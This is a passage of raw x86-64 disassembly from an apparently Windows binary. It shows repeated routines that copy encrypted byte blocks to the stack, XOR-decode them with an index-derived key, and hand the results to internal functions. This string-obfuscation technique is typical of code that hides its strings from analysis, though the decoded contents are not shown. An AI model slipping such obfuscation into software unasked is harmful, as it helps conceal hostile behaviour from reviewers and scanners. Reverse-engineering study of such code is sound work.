lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x27a8], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x27a9], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x27aa], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x27ab], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x27ac], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x27ad], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x27ae], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x27af], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x27b0], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x27b1], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x27b2], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x27b3], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x27b4], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x27b5], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x27b6], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x27b7], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x27b8], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x27b9], al
lea ecx, [r8 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x27ba], al
lea ecx, [r8 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x27bb], al
lea ecx, [r8 + 0x1b]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r10 + 0x27bc], al
lea ecx, [r8 + 0x1c]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x54
xor byte [rsp + r10 + 0x27bd], al
add r10d, 0x1f
cmp r10d, 0x7c
jl 0x1400f34e1
lea rdx, [rsp + 0x279f]
lea rcx, [rsp + 0xbe8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
lea rcx, [rsp + 0x376a]
lea r14, [0x140000000]
vmovups ymm0, ymmword [r14 + 0x1e8b10]
vmovups ymmword [rcx], ymm0
vmovups ymm0, ymmword [r14 + 0x1e8b30]
vmovups ymmword [rcx + 0x20], ymm0
vmovups ymm0, ymmword [r14 + 0x1e8b50]
vmovups ymmword [rcx + 0x40], ymm0
vmovups ymm0, ymmword [r14 + 0x1e8b70]
vmovups ymmword [rcx + 0x60], ymm0
vmovups ymm1, ymmword [r14 + 0x1e8b90]
vmovups ymmword [rcx + 0x80], ymm1
xor r8d, r8d
lea r9, [rsp + 0x376a]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x1400f3aa0
lea rdx, [rsp + 0x376a]
lea rcx, [rsp + 0xc08]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e8bb0]
vmovups ymmword [rsp + 0x34fc], ymm0
vmovups ymm1, ymmword [0x1401e8bd0]
vmovups ymmword [rsp + 0x351c], ymm1
vmovups ymm0, ymmword [0x1401e8bf0]
vmovups ymmword [rsp + 0x353c], ymm0
vmovups ymm1, ymmword [0x1401e8c10]
vmovups ymmword [rsp + 0x355c], ymm1
vmovups xmm0, xmmword [0x1401e8c30]
vmovups xmmword [rsp + 0x357c], xmm0
vmovsd xmm0, qword [0x1401e8c40]
vmovsd qword [rsp + 0x358c], xmm0
movzx eax, word [0x1401e8c48]
mov word [rsp + 0x3594], ax
xor r8d, r8d
lea r9, [rsp + 0x34fc]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9a
jl 0x1400f3b70
lea rdx, [rsp + 0x34fc]
lea rcx, [rsp + 0xc28]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
lea rdx, [rsp + 0x38b3]
lea rcx, [r14 + 0x1e8c50]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups xmm0, xmmword [rcx + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
vmovups ymm1, ymmword [rcx + 0x70]
vmovups ymmword [rdx - 0x10], ymm1
vmovups xmm1, xmmword [rcx + 0x90]
vmovups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, byte [rcx + 0xac]
mov byte [rdx + 0x2c], al
xor r8d, r8d
lea r9, [rsp + 0x38b3]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xad
jl 0x1400f3c40
lea rdx, [rsp + 0x38b3]
lea rcx, [rsp + 0xc48]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e8d00]
vmovups ymmword [rsp + 0x2898], ymm0
vmovups ymm1, ymmword [0x1401e8d20]
vmovups ymmword [rsp + 0x28b8], ymm1
vmovups ymm0, ymmword [str.dj_g3l]
vmovups ymmword [rsp + 0x28d8], ymm0
vmovups ymm1, ymmword [0x1401e8d60]
vmovups ymmword [rsp + 0x28f8], ymm1
movzx eax, byte [0x1401e8d80]
mov byte [rsp + 0x2918], al
xor r8d, r8d
lea r9, [rsp + 0x2898]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x1400f3cf0
lea rdx, [rsp + 0x2898]
lea rcx, [rsp + 0xc68]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e8d90]
vmovups ymmword [rsp + 0x2bc4], ymm0
vmovups ymm1, ymmword [0x1401e8db0]
vmovups ymmword [rsp + 0x2be4], ymm1
vmovups ymm0, ymmword [str.0_43]
vmovups ymmword [rsp + 0x2c04], ymm0
vmovups ymm1, ymmword [0x1401e8df0]
vmovups ymmword [rsp + 0x2c24], ymm1
vmovsd xmm0, qword [0x1401e8e10]
vmovsd qword [rsp + 0x2c44], xmm0
mov eax, dword [0x1401e8e18]
mov dword [rsp + 0x2c4c], eax
movzx eax, word [0x1401e8e1c]
mov word [rsp + 0x2c50], ax
movzx eax, byte [0x1401e8e1e]
mov byte [rsp + 0x2c52], al
xor r8d, r8d
lea r9, [rsp + 0x2bc4]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8f
jl 0x1400f3dd0
lea rdx, [rsp + 0x2bc4]
lea rcx, [rsp + 0xc88]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e8e20]
vmovups ymmword [rsp + 0x2c53], ymm0
vmovups ymm1, ymmword [0x1401e8e40]
vmovups ymmword [rsp + 0x2c73], ymm1
vmovups ymm0, ymmword [0x1401e8e60]
vmovups ymmword [rsp + 0x2c93], ymm0
vmovups ymm1, ymmword [0x1401e8e80]
vmovups ymmword [rsp + 0x2cb3], ymm1
vmovups xmm0, xmmword [0x1401e8ea0]
vmovups xmmword [rsp + 0x2cd3], xmm0
movzx eax, byte [0x1401e8eb0]
mov byte [rsp + 0x2ce3], al
xor r8d, r8d
lea r9, [rsp + 0x2c53]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x1400f3e90
lea rdx, [rsp + 0x2c53]
lea rcx, [rsp + 0xca8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e8ec0]
vmovups ymmword [rsp + 0x2ce4], ymm0
vmovups ymm1, ymmword [0x1401e8ee0]
vmovups ymmword [rsp + 0x2d04], ymm1
vmovups ymm0, ymmword [0x1401e8f00]
vmovups ymmword [rsp + 0x2d24], ymm0
vmovups ymm1, ymmword [0x1401e8f20]
vmovups ymmword [rsp + 0x2d44], ymm1
vmovups xmm0, xmmword [0x1401e8f40]
vmovups xmmword [rsp + 0x2d64], xmm0
movzx eax, byte [0x1401e8f50]
mov byte [rsp + 0x2d74], al
xor r8d, r8d
lea r9, [rsp + 0x2ce4]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x1400f3f50
lea rdx, [rsp + 0x2ce4]
lea rcx, [rsp + 0xcc8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e8f60]
vmovups ymmword [rsp + 0x299c], ymm0
vmovups ymm1, ymmword [0x1401e8f80]
vmovups ymmword [rsp + 0x29bc], ymm1
vmovups ymm0, ymmword [0x1401e8fa0]
vmovups ymmword [rsp + 0x29dc], ymm0
vmovups ymm1, ymmword [0x1401e8fc0]
vmovups ymmword [rsp + 0x29fc], ymm1
mov eax, dword [0x1401e8fe0]
mov dword [rsp + 0x2a1c], eax
xor r8d, r8d
lea r9, [rsp + 0x299c]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x84
jl 0x1400f4000
lea rdx, [rsp + 0x299c]
lea rcx, [rsp + 0xce8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e8ff0]
vmovups ymmword [rsp + 0x281b], ymm0
vmovups ymm1, ymmword [0x1401e9010]
vmovups ymmword [rsp + 0x283b], ymm1
vmovups ymm0, ymmword [0x1401e9030]
vmovups ymmword [rsp + 0x285b], ymm0
vmovups xmm1, xmmword [0x1401e9050]
vmovups xmmword [rsp + 0x287b], xmm1
vmovsd xmm0, qword [0x1401e9060]
vmovsd qword [rsp + 0x288b], xmm0
mov eax, dword [0x1401e9068]
mov dword [rsp + 0x2893], eax
movzx eax, byte [0x1401e906c]
mov byte [rsp + 0x2897], al
xor r10d, r10d
nop
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x281b], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x281c], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x281d], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x281e], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x281f], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2820], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2821], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2822], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2823], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2824], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2825], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2826], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2827], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x2828], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x2829], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x282a], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x282b], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x282c], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x282d], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x282e], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x282f], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2830], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2831], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x2832], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x2833], al
add r10d, 0x19
cmp r10d, 0x7d
jl 0x1400f40c0
lea rdx, [rsp + 0x281b]
lea rcx, [rsp + 0xd08]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9070]
vmovups ymmword [rsp + 0x25c7], ymm0
vmovups ymm1, ymmword [0x1401e9090]
vmovups ymmword [rsp + 0x25e7], ymm1
vmovups ymm0, ymmword [0x1401e90b0]
vmovups ymmword [rsp + 0x2607], ymm0
vmovups xmm1, xmmword [0x1401e90d0]
vmovups xmmword [rsp + 0x2627], xmm1
mov eax, dword [0x1401e90e0]
mov dword [rsp + 0x2637], eax
xor r10d, r10d
nop dword [rax]
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x25c7], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x25c8], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x25c9], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x25ca], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x25cb], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x25cc], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x25cd], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x25ce], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x25cf], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x25d0], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x25d1], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x25d2], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x25d3], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x25d4], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x25d5], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x25d6], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x25d7], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x25d8], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x25d9], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x25da], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x25db], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x25dc], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x25dd], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
